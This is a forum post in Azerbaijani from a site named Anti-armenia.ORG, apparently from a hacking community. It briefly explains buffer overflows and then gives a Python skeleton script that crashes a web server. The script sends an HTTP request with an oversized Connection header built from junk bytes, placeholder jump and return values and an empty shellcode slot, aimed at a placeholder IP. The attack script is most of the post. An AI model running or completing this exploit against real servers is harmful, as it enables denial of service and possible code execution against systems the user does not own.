Anti-armenia.ORG - Forumlar - BUFF3R.PY



Istifadəçi
    2022-01-17 18:50 GMT                 

Tron



İstifadəçi
Mesaj Sayı : 20
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   0  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Bakı
Ölkə :
Məslək : Pentester
Yaş :
Mesaj :

Mövzunu Paylaş!


İlk öncə buffer overflow nədir onu öyrənək buffer overflow adından da göründüyü kimi, tampon daşması, məhdud bir yaddaş sahəsinə planlaşdırılan miqdarda məlumatın kopyalanması halında bir daşma vəziyyətidir. Məsələn, tətbiqdəki dəyişənə 10 simvol ölçüsü təyin etdiniz, ancaq istifadəçi tərəfindən daxil edilən girişdə 20 simvoldan ibarət bir dəyər var, bu 10 əlavə dəyər tətbiqin iş sahəsindən çıxır və tətbiqın crash olmasına səbəb olur.
Python:
#! /usr/share/python
###################################
# Tr0n
# Anti-Armenia.ORG
#
###################################
import socket
import sys

ip = "11.11.11.11"
port = 80

junk = "A"*4992
jmp = "B"*4
retn = "C"*4
shellcode = ""

req = "GET / HTTP/1.1\r\n"
req += "Host: 11.11.11.7\r\n"
req += "Connection:" + junk + jmp + retn + shellcode + "\r\n"
req += "\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(req)
s.close()

Anti-armenia.ORG